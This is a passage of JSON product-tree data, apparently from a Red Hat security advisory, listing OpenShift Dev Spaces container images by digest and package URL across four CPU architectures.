"name": "registry.redhat.io/devspaces/server-rhel9@sha256:56f4b3132a1785e7a323fc9fb5e1d2040d30a7c8d81fd00a42d619a8881e9492_amd64",
"product": {
"name": "registry.redhat.io/devspaces/server-rhel9@sha256:56f4b3132a1785e7a323fc9fb5e1d2040d30a7c8d81fd00a42d619a8881e9492_amd64",
"product_id": "registry.redhat.io/devspaces/server-rhel9@sha256:56f4b3132a1785e7a323fc9fb5e1d2040d30a7c8d81fd00a42d619a8881e9492_amd64",
"product_identification_helper": {
"purl": "pkg:oci/server-rhel9@sha256%3A56f4b3132a1785e7a323fc9fb5e1d2040d30a7c8d81fd00a42d619a8881e9492?arch=amd64\u0026repository_url=registry.redhat.io/devspaces/server-rhel9\u0026tag=1780694994"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/traefik-rhel9@sha256:6798e67f7d39b831b6c947a50c4420c9d92160079bbd2d62d07b9f991be4abfd_amd64",
"product": {
"name": "registry.redhat.io/devspaces/traefik-rhel9@sha256:6798e67f7d39b831b6c947a50c4420c9d92160079bbd2d62d07b9f991be4abfd_amd64",
"product_id": "registry.redhat.io/devspaces/traefik-rhel9@sha256:6798e67f7d39b831b6c947a50c4420c9d92160079bbd2d62d07b9f991be4abfd_amd64",
"product_identification_helper": {
"purl": "pkg:oci/traefik-rhel9@sha256%3A6798e67f7d39b831b6c947a50c4420c9d92160079bbd2d62d07b9f991be4abfd?arch=amd64\u0026repository_url=registry.redhat.io/devspaces/traefik-rhel9\u0026tag=1780593759"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/udi-rhel9@sha256:80c9c0c3aa02ae7b447c33a8bb9aff07fc243b2b484db28975b79b9007612629_amd64",
"product": {
"name": "registry.redhat.io/devspaces/udi-rhel9@sha256:80c9c0c3aa02ae7b447c33a8bb9aff07fc243b2b484db28975b79b9007612629_amd64",
"product_id": "registry.redhat.io/devspaces/udi-rhel9@sha256:80c9c0c3aa02ae7b447c33a8bb9aff07fc243b2b484db28975b79b9007612629_amd64",
"product_identification_helper": {
"purl": "pkg:oci/udi-rhel9@sha256%3A80c9c0c3aa02ae7b447c33a8bb9aff07fc243b2b484db28975b79b9007612629?arch=amd64\u0026repository_url=registry.redhat.io/devspaces/udi-rhel9\u0026tag=1780929707"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/udi-base-rhel10@sha256:c10a24ed873306c38e5d7aa96d9ffa9b71b2e6dac2ee18f557af008ef460d708_amd64",
"product": {
"name": "registry.redhat.io/devspaces/udi-base-rhel10@sha256:c10a24ed873306c38e5d7aa96d9ffa9b71b2e6dac2ee18f557af008ef460d708_amd64",
"product_id": "registry.redhat.io/devspaces/udi-base-rhel10@sha256:c10a24ed873306c38e5d7aa96d9ffa9b71b2e6dac2ee18f557af008ef460d708_amd64",
"product_identification_helper": {
"purl": "pkg:oci/udi-base-rhel10@sha256%3Ac10a24ed873306c38e5d7aa96d9ffa9b71b2e6dac2ee18f557af008ef460d708?arch=amd64\u0026repository_url=registry.redhat.io/devspaces/udi-base-rhel10\u0026tag=1780600267"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/udi-base-rhel9@sha256:2268f482a70624ca1670675df27f0a6a4e7ea41669f021059ebafbc0465d5411_amd64",
"product": {
"name": "registry.redhat.io/devspaces/udi-base-rhel9@sha256:2268f482a70624ca1670675df27f0a6a4e7ea41669f021059ebafbc0465d5411_amd64",
"product_id": "registry.redhat.io/devspaces/udi-base-rhel9@sha256:2268f482a70624ca1670675df27f0a6a4e7ea41669f021059ebafbc0465d5411_amd64",
"product_identification_helper": {
"purl": "pkg:oci/udi-base-rhel9@sha256%3A2268f482a70624ca1670675df27f0a6a4e7ea41669f021059ebafbc0465d5411?arch=amd64\u0026repository_url=registry.redhat.io/devspaces/udi-base-rhel9\u0026tag=1780601703"
}
}
}
],
"category": "architecture",
"name": "amd64"
},
{
"branches": [
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/code-rhel9@sha256:83e1013b0ce89c1f4fc0038c1cb7eab2fd541a6fb1de6a0596fe669a76cde1f4_s390x",
"product": {
"name": "registry.redhat.io/devspaces/code-rhel9@sha256:83e1013b0ce89c1f4fc0038c1cb7eab2fd541a6fb1de6a0596fe669a76cde1f4_s390x",
"product_id": "registry.redhat.io/devspaces/code-rhel9@sha256:83e1013b0ce89c1f4fc0038c1cb7eab2fd541a6fb1de6a0596fe669a76cde1f4_s390x",
"product_identification_helper": {
"purl": "pkg:oci/code-rhel9@sha256%3A83e1013b0ce89c1f4fc0038c1cb7eab2fd541a6fb1de6a0596fe669a76cde1f4?arch=s390x\u0026repository_url=registry.redhat.io/devspaces/code-rhel9\u0026tag=1780679565"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/code-sshd-rhel9@sha256:82994d108c21e3f53c2d87bdec8ddcdb0c0f81c7f1ed93ac996fe83046ea8ed1_s390x",
"product": {
"name": "registry.redhat.io/devspaces/code-sshd-rhel9@sha256:82994d108c21e3f53c2d87bdec8ddcdb0c0f81c7f1ed93ac996fe83046ea8ed1_s390x",
"product_id": "registry.redhat.io/devspaces/code-sshd-rhel9@sha256:82994d108c21e3f53c2d87bdec8ddcdb0c0f81c7f1ed93ac996fe83046ea8ed1_s390x",
"product_identification_helper": {
"purl": "pkg:oci/code-sshd-rhel9@sha256%3A82994d108c21e3f53c2d87bdec8ddcdb0c0f81c7f1ed93ac996fe83046ea8ed1?arch=s390x\u0026repository_url=registry.redhat.io/devspaces/code-sshd-rhel9\u0026tag=1780678593"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/configbump-rhel9@sha256:62ecbc41b3f1d3cd81e9593fdacac8397d1fc3f616717b247346ac218b7a2ff7_s390x",
"product": {
"name": "registry.redhat.io/devspaces/configbump-rhel9@sha256:62ecbc41b3f1d3cd81e9593fdacac8397d1fc3f616717b247346ac218b7a2ff7_s390x",
"product_id": "registry.redhat.io/devspaces/configbump-rhel9@sha256:62ecbc41b3f1d3cd81e9593fdacac8397d1fc3f616717b247346ac218b7a2ff7_s390x",
"product_identification_helper": {
"purl": "pkg:oci/configbump-rhel9@sha256%3A62ecbc41b3f1d3cd81e9593fdacac8397d1fc3f616717b247346ac218b7a2ff7?arch=s390x\u0026repository_url=registry.redhat.io/devspaces/configbump-rhel9\u0026tag=1780548550"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/dashboard-rhel9@sha256:ae7dc192f8ca8c78dc6eb12ef2846b45057e22e183207743aad9261fb5adcb6e_s390x",
"product": {
"name": "registry.redhat.io/devspaces/dashboard-rhel9@sha256:ae7dc192f8ca8c78dc6eb12ef2846b45057e22e183207743aad9261fb5adcb6e_s390x",
"product_id": "registry.redhat.io/devspaces/dashboard-rhel9@sha256:ae7dc192f8ca8c78dc6eb12ef2846b45057e22e183207743aad9261fb5adcb6e_s390x",
"product_identification_helper": {
"purl": "pkg:oci/dashboard-rhel9@sha256%3Aae7dc192f8ca8c78dc6eb12ef2846b45057e22e183207743aad9261fb5adcb6e?arch=s390x\u0026repository_url=registry.redhat.io/devspaces/dashboard-rhel9\u0026tag=1780685176"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/imagepuller-rhel9@sha256:5e4c074f39614f529e79c8de011446a0b621fb189485eff0061f95f99f0950f8_s390x",
"product": {
"name": "registry.redhat.io/devspaces/imagepuller-rhel9@sha256:5e4c074f39614f529e79c8de011446a0b621fb189485eff0061f95f99f0950f8_s390x",
"product_id": "registry.redhat.io/devspaces/imagepuller-rhel9@sha256:5e4c074f39614f529e79c8de011446a0b621fb189485eff0061f95f99f0950f8_s390x",
"product_identification_helper": {
"purl": "pkg:oci/imagepuller-rhel9@sha256%3A5e4c074f39614f529e79c8de011446a0b621fb189485eff0061f95f99f0950f8?arch=s390x\u0026repository_url=registry.redhat.io/devspaces/imagepuller-rhel9\u0026tag=1780573614"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:25137cf516214eac04d5f1fd2ad9a38658e8fc741600b50b4c44f00db437cf01_s390x",
"product": {
"name": "registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:25137cf516214eac04d5f1fd2ad9a38658e8fc741600b50b4c44f00db437cf01_s390x",
"product_id": "registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:25137cf516214eac04d5f1fd2ad9a38658e8fc741600b50b4c44f00db437cf01_s390x",
"product_identification_helper": {
"purl": "pkg:oci/jetbrains-ide-rhel9@sha256%3A25137cf516214eac04d5f1fd2ad9a38658e8fc741600b50b4c44f00db437cf01?arch=s390x\u0026repository_url=registry.redhat.io/devspaces/jetbrains-ide-rhel9\u0026tag=1780608672"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:e9347202b67b4a2ad17b820af7148d4473764996ce1368d5460b6fff2d79935a_s390x",
"product": {
"name": "registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:e9347202b67b4a2ad17b820af7148d4473764996ce1368d5460b6fff2d79935a_s390x",
"product_id": "registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:e9347202b67b4a2ad17b820af7148d4473764996ce1368d5460b6fff2d79935a_s390x",
"product_identification_helper": {
"purl": "pkg:oci/multicluster-redirector-rhel9@sha256%3Ae9347202b67b4a2ad17b820af7148d4473764996ce1368d5460b6fff2d79935a?arch=s390x\u0026repository_url=registry.redhat.io/devspaces/multicluster-redirector-rhel9\u0026tag=1780695724"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/openvsx-rhel9@sha256:cef4269f4d91814bc144c94718d6aa59c4e03eab341eebf87ec05e38e7b7e49f_s390x",
"product": {
"name": "registry.redhat.io/devspaces/openvsx-rhel9@sha256:cef4269f4d91814bc144c94718d6aa59c4e03eab341eebf87ec05e38e7b7e49f_s390x",
"product_id": "registry.redhat.io/devspaces/openvsx-rhel9@sha256:cef4269f4d91814bc144c94718d6aa59c4e03eab341eebf87ec05e38e7b7e49f_s390x",
"product_identification_helper": {
"purl": "pkg:oci/openvsx-rhel9@sha256%3Acef4269f4d91814bc144c94718d6aa59c4e03eab341eebf87ec05e38e7b7e49f?arch=s390x\u0026repository_url=registry.redhat.io/devspaces/openvsx-rhel9\u0026tag=1780948325"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:a5b3c16ca82c2585debbef262d8de80bb8566384c916915d9fce92d233268d1c_s390x",
"product": {
"name": "registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:a5b3c16ca82c2585debbef262d8de80bb8566384c916915d9fce92d233268d1c_s390x",
"product_id": "registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:a5b3c16ca82c2585debbef262d8de80bb8566384c916915d9fce92d233268d1c_s390x",
"product_identification_helper": {
"purl": "pkg:oci/devspaces-rhel9-operator@sha256%3Aa5b3c16ca82c2585debbef262d8de80bb8566384c916915d9fce92d233268d1c?arch=s390x\u0026repository_url=registry.redhat.io/devspaces/devspaces-rhel9-operator\u0026tag=1780592394"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:a062fd2a510100fc03a5f14102104a34b2e24bddc5661ac95ed39dad6a5f46b9_s390x",
"product": {
"name": "registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:a062fd2a510100fc03a5f14102104a34b2e24bddc5661ac95ed39dad6a5f46b9_s390x",
"product_id": "registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:a062fd2a510100fc03a5f14102104a34b2e24bddc5661ac95ed39dad6a5f46b9_s390x",
"product_identification_helper": {
"purl": "pkg:oci/pluginregistry-rhel9@sha256%3Aa062fd2a510100fc03a5f14102104a34b2e24bddc5661ac95ed39dad6a5f46b9?arch=s390x\u0026repository_url=registry.redhat.io/devspaces/pluginregistry-rhel9\u0026tag=1780696380"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/server-rhel9@sha256:f8200f2b4b8c5cb5a5aef1fa6f8f15297cb720512a0df784629129afc0d5810a_s390x",
"product": {
"name": "registry.redhat.io/devspaces/server-rhel9@sha256:f8200f2b4b8c5cb5a5aef1fa6f8f15297cb720512a0df784629129afc0d5810a_s390x",
"product_id": "registry.redhat.io/devspaces/server-rhel9@sha256:f8200f2b4b8c5cb5a5aef1fa6f8f15297cb720512a0df784629129afc0d5810a_s390x",
"product_identification_helper": {
"purl": "pkg:oci/server-rhel9@sha256%3Af8200f2b4b8c5cb5a5aef1fa6f8f15297cb720512a0df784629129afc0d5810a?arch=s390x\u0026repository_url=registry.redhat.io/devspaces/server-rhel9\u0026tag=1780694994"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/traefik-rhel9@sha256:1d4269b06d396a7ec1e952daa47a4bd5b00915d6d0cd5a3270fe471a6a75517b_s390x",
"product": {
"name": "registry.redhat.io/devspaces/traefik-rhel9@sha256:1d4269b06d396a7ec1e952daa47a4bd5b00915d6d0cd5a3270fe471a6a75517b_s390x",
"product_id": "registry.redhat.io/devspaces/traefik-rhel9@sha256:1d4269b06d396a7ec1e952daa47a4bd5b00915d6d0cd5a3270fe471a6a75517b_s390x",
"product_identification_helper": {
"purl": "pkg:oci/traefik-rhel9@sha256%3A1d4269b06d396a7ec1e952daa47a4bd5b00915d6d0cd5a3270fe471a6a75517b?arch=s390x\u0026repository_url=registry.redhat.io/devspaces/traefik-rhel9\u0026tag=1780593759"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/udi-rhel9@sha256:2f672c4b1bc77639a5ccf2f7f923691aefe2ab2e6e76de830a0727633c80af17_s390x",
"product": {
"name": "registry.redhat.io/devspaces/udi-rhel9@sha256:2f672c4b1bc77639a5ccf2f7f923691aefe2ab2e6e76de830a0727633c80af17_s390x",
"product_id": "registry.redhat.io/devspaces/udi-rhel9@sha256:2f672c4b1bc77639a5ccf2f7f923691aefe2ab2e6e76de830a0727633c80af17_s390x",
"product_identification_helper": {
"purl": "pkg:oci/udi-rhel9@sha256%3A2f672c4b1bc77639a5ccf2f7f923691aefe2ab2e6e76de830a0727633c80af17?arch=s390x\u0026repository_url=registry.redhat.io/devspaces/udi-rhel9\u0026tag=1780929707"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/udi-base-rhel10@sha256:1a56d8592fe048ebe0c1549ec0249a5f61842cbb5c58545649b394df98fbae06_s390x",
"product": {
"name": "registry.redhat.io/devspaces/udi-base-rhel10@sha256:1a56d8592fe048ebe0c1549ec0249a5f61842cbb5c58545649b394df98fbae06_s390x",
"product_id": "registry.redhat.io/devspaces/udi-base-rhel10@sha256:1a56d8592fe048ebe0c1549ec0249a5f61842cbb5c58545649b394df98fbae06_s390x",
"product_identification_helper": {
"purl": "pkg:oci/udi-base-rhel10@sha256%3A1a56d8592fe048ebe0c1549ec0249a5f61842cbb5c58545649b394df98fbae06?arch=s390x\u0026repository_url=registry.redhat.io/devspaces/udi-base-rhel10\u0026tag=1780600267"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/udi-base-rhel9@sha256:06172d66fc92096c6d1b517ac2edfc35e06255859152ea8aa83ea57bb789bb0b_s390x",
"product": {
"name": "registry.redhat.io/devspaces/udi-base-rhel9@sha256:06172d66fc92096c6d1b517ac2edfc35e06255859152ea8aa83ea57bb789bb0b_s390x",
"product_id": "registry.redhat.io/devspaces/udi-base-rhel9@sha256:06172d66fc92096c6d1b517ac2edfc35e06255859152ea8aa83ea57bb789bb0b_s390x",
"product_identification_helper": {
"purl": "pkg:oci/udi-base-rhel9@sha256%3A06172d66fc92096c6d1b517ac2edfc35e06255859152ea8aa83ea57bb789bb0b?arch=s390x\u0026repository_url=registry.redhat.io/devspaces/udi-base-rhel9\u0026tag=1780601703"
}
}
}
],
"category": "architecture",
"name": "s390x"
},
{
"branches": [
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/code-rhel9@sha256:9d47eee451c3d7c7a0c2d83824849ac4053110107997a41df26fe28f9b4749de_ppc64le",
"product": {
"name": "registry.redhat.io/devspaces/code-rhel9@sha256:9d47eee451c3d7c7a0c2d83824849ac4053110107997a41df26fe28f9b4749de_ppc64le",
"product_id": "registry.redhat.io/devspaces/code-rhel9@sha256:9d47eee451c3d7c7a0c2d83824849ac4053110107997a41df26fe28f9b4749de_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/code-rhel9@sha256%3A9d47eee451c3d7c7a0c2d83824849ac4053110107997a41df26fe28f9b4749de?arch=ppc64le\u0026repository_url=registry.redhat.io/devspaces/code-rhel9\u0026tag=1780679565"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/code-sshd-rhel9@sha256:0ce3e6baa0af251b5ae5e8cc64de363aa144c420e1416a2a7bf522aefe0b6dd3_ppc64le",
"product": {
"name": "registry.redhat.io/devspaces/code-sshd-rhel9@sha256:0ce3e6baa0af251b5ae5e8cc64de363aa144c420e1416a2a7bf522aefe0b6dd3_ppc64le",
"product_id": "registry.redhat.io/devspaces/code-sshd-rhel9@sha256:0ce3e6baa0af251b5ae5e8cc64de363aa144c420e1416a2a7bf522aefe0b6dd3_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/code-sshd-rhel9@sha256%3A0ce3e6baa0af251b5ae5e8cc64de363aa144c420e1416a2a7bf522aefe0b6dd3?arch=ppc64le\u0026repository_url=registry.redhat.io/devspaces/code-sshd-rhel9\u0026tag=1780678593"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/configbump-rhel9@sha256:7ee3d2e13995479495aa2a2f3b7a8f8133f7b69d0e753b00e3fe2ee00416b3a9_ppc64le",
"product": {
"name": "registry.redhat.io/devspaces/configbump-rhel9@sha256:7ee3d2e13995479495aa2a2f3b7a8f8133f7b69d0e753b00e3fe2ee00416b3a9_ppc64le",
"product_id": "registry.redhat.io/devspaces/configbump-rhel9@sha256:7ee3d2e13995479495aa2a2f3b7a8f8133f7b69d0e753b00e3fe2ee00416b3a9_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/configbump-rhel9@sha256%3A7ee3d2e13995479495aa2a2f3b7a8f8133f7b69d0e753b00e3fe2ee00416b3a9?arch=ppc64le\u0026repository_url=registry.redhat.io/devspaces/configbump-rhel9\u0026tag=1780548550"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/dashboard-rhel9@sha256:ca07c7ae5cdcf93df21348d92c4828e4615b324f2f765907b3459f0d5090c628_ppc64le",
"product": {
"name": "registry.redhat.io/devspaces/dashboard-rhel9@sha256:ca07c7ae5cdcf93df21348d92c4828e4615b324f2f765907b3459f0d5090c628_ppc64le",
"product_id": "registry.redhat.io/devspaces/dashboard-rhel9@sha256:ca07c7ae5cdcf93df21348d92c4828e4615b324f2f765907b3459f0d5090c628_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/dashboard-rhel9@sha256%3Aca07c7ae5cdcf93df21348d92c4828e4615b324f2f765907b3459f0d5090c628?arch=ppc64le\u0026repository_url=registry.redhat.io/devspaces/dashboard-rhel9\u0026tag=1780685176"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/imagepuller-rhel9@sha256:f1cf981295bdfddb68c8cb83e03da7cbec9aada7dce16586a1508351b11c2e73_ppc64le",
"product": {
"name": "registry.redhat.io/devspaces/imagepuller-rhel9@sha256:f1cf981295bdfddb68c8cb83e03da7cbec9aada7dce16586a1508351b11c2e73_ppc64le",
"product_id": "registry.redhat.io/devspaces/imagepuller-rhel9@sha256:f1cf981295bdfddb68c8cb83e03da7cbec9aada7dce16586a1508351b11c2e73_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/imagepuller-rhel9@sha256%3Af1cf981295bdfddb68c8cb83e03da7cbec9aada7dce16586a1508351b11c2e73?arch=ppc64le\u0026repository_url=registry.redhat.io/devspaces/imagepuller-rhel9\u0026tag=1780573614"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:12a042cb9e94c6502b61c6d08a49bc8b81f8d3e23932b08c29566906508801d8_ppc64le",
"product": {
"name": "registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:12a042cb9e94c6502b61c6d08a49bc8b81f8d3e23932b08c29566906508801d8_ppc64le",
"product_id": "registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:12a042cb9e94c6502b61c6d08a49bc8b81f8d3e23932b08c29566906508801d8_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/jetbrains-ide-rhel9@sha256%3A12a042cb9e94c6502b61c6d08a49bc8b81f8d3e23932b08c29566906508801d8?arch=ppc64le\u0026repository_url=registry.redhat.io/devspaces/jetbrains-ide-rhel9\u0026tag=1780608672"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:1bd73bae94af4a5be1b62e555df3a1b863f22c427f95d2bbbd24e4ffcce7a264_ppc64le",
"product": {
"name": "registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:1bd73bae94af4a5be1b62e555df3a1b863f22c427f95d2bbbd24e4ffcce7a264_ppc64le",
"product_id": "registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:1bd73bae94af4a5be1b62e555df3a1b863f22c427f95d2bbbd24e4ffcce7a264_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/multicluster-redirector-rhel9@sha256%3A1bd73bae94af4a5be1b62e555df3a1b863f22c427f95d2bbbd24e4ffcce7a264?arch=ppc64le\u0026repository_url=registry.redhat.io/devspaces/multicluster-redirector-rhel9\u0026tag=1780695724"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/openvsx-rhel9@sha256:af397f83a7394b676299501672623ca9c01b8351db0d73531b0bf325e55558f6_ppc64le",
"product": {
"name": "registry.redhat.io/devspaces/openvsx-rhel9@sha256:af397f83a7394b676299501672623ca9c01b8351db0d73531b0bf325e55558f6_ppc64le",
"product_id": "registry.redhat.io/devspaces/openvsx-rhel9@sha256:af397f83a7394b676299501672623ca9c01b8351db0d73531b0bf325e55558f6_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/openvsx-rhel9@sha256%3Aaf397f83a7394b676299501672623ca9c01b8351db0d73531b0bf325e55558f6?arch=ppc64le\u0026repository_url=registry.redhat.io/devspaces/openvsx-rhel9\u0026tag=1780948325"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4e4a72be08cf691ee40dc79d2e625a5b59cf709e15219537ee04a1f03a3df23e_ppc64le",
"product": {
"name": "registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4e4a72be08cf691ee40dc79d2e625a5b59cf709e15219537ee04a1f03a3df23e_ppc64le",
"product_id": "registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4e4a72be08cf691ee40dc79d2e625a5b59cf709e15219537ee04a1f03a3df23e_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/devspaces-rhel9-operator@sha256%3A4e4a72be08cf691ee40dc79d2e625a5b59cf709e15219537ee04a1f03a3df23e?arch=ppc64le\u0026repository_url=registry.redhat.io/devspaces/devspaces-rhel9-operator\u0026tag=1780592394"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:fbdf611c5aac4e33644ed8eb5a72b88b5c5a6690f24a64a3cff7002a483827d8_ppc64le",
"product": {
"name": "registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:fbdf611c5aac4e33644ed8eb5a72b88b5c5a6690f24a64a3cff7002a483827d8_ppc64le",
"product_id": "registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:fbdf611c5aac4e33644ed8eb5a72b88b5c5a6690f24a64a3cff7002a483827d8_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/pluginregistry-rhel9@sha256%3Afbdf611c5aac4e33644ed8eb5a72b88b5c5a6690f24a64a3cff7002a483827d8?arch=ppc64le\u0026repository_url=registry.redhat.io/devspaces/pluginregistry-rhel9\u0026tag=1780696380"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/server-rhel9@sha256:e2d0551322d379e77a72218fb37244f8a187e6ff52ae6f61e7b673c2c23ce39f_ppc64le",
"product": {
"name": "registry.redhat.io/devspaces/server-rhel9@sha256:e2d0551322d379e77a72218fb37244f8a187e6ff52ae6f61e7b673c2c23ce39f_ppc64le",
"product_id": "registry.redhat.io/devspaces/server-rhel9@sha256:e2d0551322d379e77a72218fb37244f8a187e6ff52ae6f61e7b673c2c23ce39f_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/server-rhel9@sha256%3Ae2d0551322d379e77a72218fb37244f8a187e6ff52ae6f61e7b673c2c23ce39f?arch=ppc64le\u0026repository_url=registry.redhat.io/devspaces/server-rhel9\u0026tag=1780694994"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/traefik-rhel9@sha256:1e2b5bff8974b54038cf635faaa293458bcfa2e75a9ee57e2712b30d9b35e0ac_ppc64le",
"product": {
"name": "registry.redhat.io/devspaces/traefik-rhel9@sha256:1e2b5bff8974b54038cf635faaa293458bcfa2e75a9ee57e2712b30d9b35e0ac_ppc64le",
"product_id": "registry.redhat.io/devspaces/traefik-rhel9@sha256:1e2b5bff8974b54038cf635faaa293458bcfa2e75a9ee57e2712b30d9b35e0ac_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/traefik-rhel9@sha256%3A1e2b5bff8974b54038cf635faaa293458bcfa2e75a9ee57e2712b30d9b35e0ac?arch=ppc64le\u0026repository_url=registry.redhat.io/devspaces/traefik-rhel9\u0026tag=1780593759"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/udi-rhel9@sha256:763e7470768ecf6551d9d9af7a7a48605ceafaad3e001f48ae08ce94d6facb42_ppc64le",
"product": {
"name": "registry.redhat.io/devspaces/udi-rhel9@sha256:763e7470768ecf6551d9d9af7a7a48605ceafaad3e001f48ae08ce94d6facb42_ppc64le",
"product_id": "registry.redhat.io/devspaces/udi-rhel9@sha256:763e7470768ecf6551d9d9af7a7a48605ceafaad3e001f48ae08ce94d6facb42_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/udi-rhel9@sha256%3A763e7470768ecf6551d9d9af7a7a48605ceafaad3e001f48ae08ce94d6facb42?arch=ppc64le\u0026repository_url=registry.redhat.io/devspaces/udi-rhel9\u0026tag=1780929707"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/udi-base-rhel10@sha256:224939e501ffed4ffe09a5198138486e72b04d1486787a6c4c3abee8cd7dffba_ppc64le",
"product": {
"name": "registry.redhat.io/devspaces/udi-base-rhel10@sha256:224939e501ffed4ffe09a5198138486e72b04d1486787a6c4c3abee8cd7dffba_ppc64le",
"product_id": "registry.redhat.io/devspaces/udi-base-rhel10@sha256:224939e501ffed4ffe09a5198138486e72b04d1486787a6c4c3abee8cd7dffba_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/udi-base-rhel10@sha256%3A224939e501ffed4ffe09a5198138486e72b04d1486787a6c4c3abee8cd7dffba?arch=ppc64le\u0026repository_url=registry.redhat.io/devspaces/udi-base-rhel10\u0026tag=1780600267"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/udi-base-rhel9@sha256:505295ab2811eb723a334501a853eb238c2ec96073f36296226d58fa12aefd3c_ppc64le",
"product": {
"name": "registry.redhat.io/devspaces/udi-base-rhel9@sha256:505295ab2811eb723a334501a853eb238c2ec96073f36296226d58fa12aefd3c_ppc64le",
"product_id": "registry.redhat.io/devspaces/udi-base-rhel9@sha256:505295ab2811eb723a334501a853eb238c2ec96073f36296226d58fa12aefd3c_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/udi-base-rhel9@sha256%3A505295ab2811eb723a334501a853eb238c2ec96073f36296226d58fa12aefd3c?arch=ppc64le\u0026repository_url=registry.redhat.io/devspaces/udi-base-rhel9\u0026tag=1780601703"
}
}
}
],
"category": "architecture",
"name": "ppc64le"
},
{
"branches": [
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/code-rhel9@sha256:7e20cd1d638296bcab93a704bfce3ff7cf6c0f7e632e07e69fcacfedf9e8b120_arm64",
"product": {
"name": "registry.redhat.io/devspaces/code-rhel9@sha256:7e20cd1d638296bcab93a704bfce3ff7cf6c0f7e632e07e69fcacfedf9e8b120_arm64",
"product_id": "registry.redhat.io/devspaces/code-rhel9@sha256:7e20cd1d638296bcab93a704bfce3ff7cf6c0f7e632e07e69fcacfedf9e8b120_arm64",
"product_identification_helper": {
"purl": "pkg:oci/code-rhel9@sha256%3A7e20cd1d638296bcab93a704bfce3ff7cf6c0f7e632e07e69fcacfedf9e8b120?arch=arm64\u0026repository_url=registry.redhat.io/devspaces/code-rhel9\u0026tag=1780679565"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/devspaces/code-sshd-rhel9@sha256:324758a4c214f743ba3f38eee3ae2c3f42eac80ac4c10801e103fc531d73cf51_arm64",
"product": {
"name": "registry.redhat.io/devspaces/code-sshd-rhel9@sha256:324758a4c214f743ba3f38eee3ae2c3f42eac80ac4c10801e103fc531d73cf51_arm64",
"product_id": "registry.redhat.io/devspaces/code-sshd-rhel9@sha256:324758a4c214f743ba3f38eee3ae2c3f42eac80ac4c10801e103fc531d73cf51_arm64",
"product_identification_helper": {
"purl": "pkg:oci/code-sshd-rhel9@sha256%3A324758a4c214f743ba3f38eee3ae2c3f42eac80ac4c10801e103fc531d73cf51?arch=arm64\u0026repository_url=registry.redhat.io/devspaces/code-sshd-rhel9\u0026tag=1780678593"
}
